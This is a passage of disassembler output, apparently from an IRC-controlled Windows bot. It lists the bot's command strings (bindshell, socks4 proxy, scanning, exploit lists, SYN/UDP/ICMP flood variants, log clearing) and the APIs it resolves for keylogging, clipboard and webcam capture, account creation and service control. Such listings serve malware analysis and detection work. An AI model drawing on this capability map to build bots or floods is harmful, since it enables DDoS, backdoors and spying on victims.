aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437F84o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C284	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2AC	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437BF0o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 10h
dword_42C370	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 10h
dword_42C390	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3B4	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C404	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C44C	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C480	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C490	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4A0	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4B0	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4C0	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C4CC	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C4D8	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C4E4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C4FC	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C508	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 10h
dword_42C520	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C530	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C54C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C55C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C578	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C584	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C598	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5A4	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5B0	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5BC	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C5CC	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C5EC	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C5F8	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C60C	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C628	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C644	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C66C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 10h
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C1Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C718:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C75C	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42C7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 10h
unk_42C820	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_42C8A0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8B8	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8C0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C8DC	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C8E8	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C8EC	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C928	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C930	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C944	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C968	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA28:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA2C:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA30	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
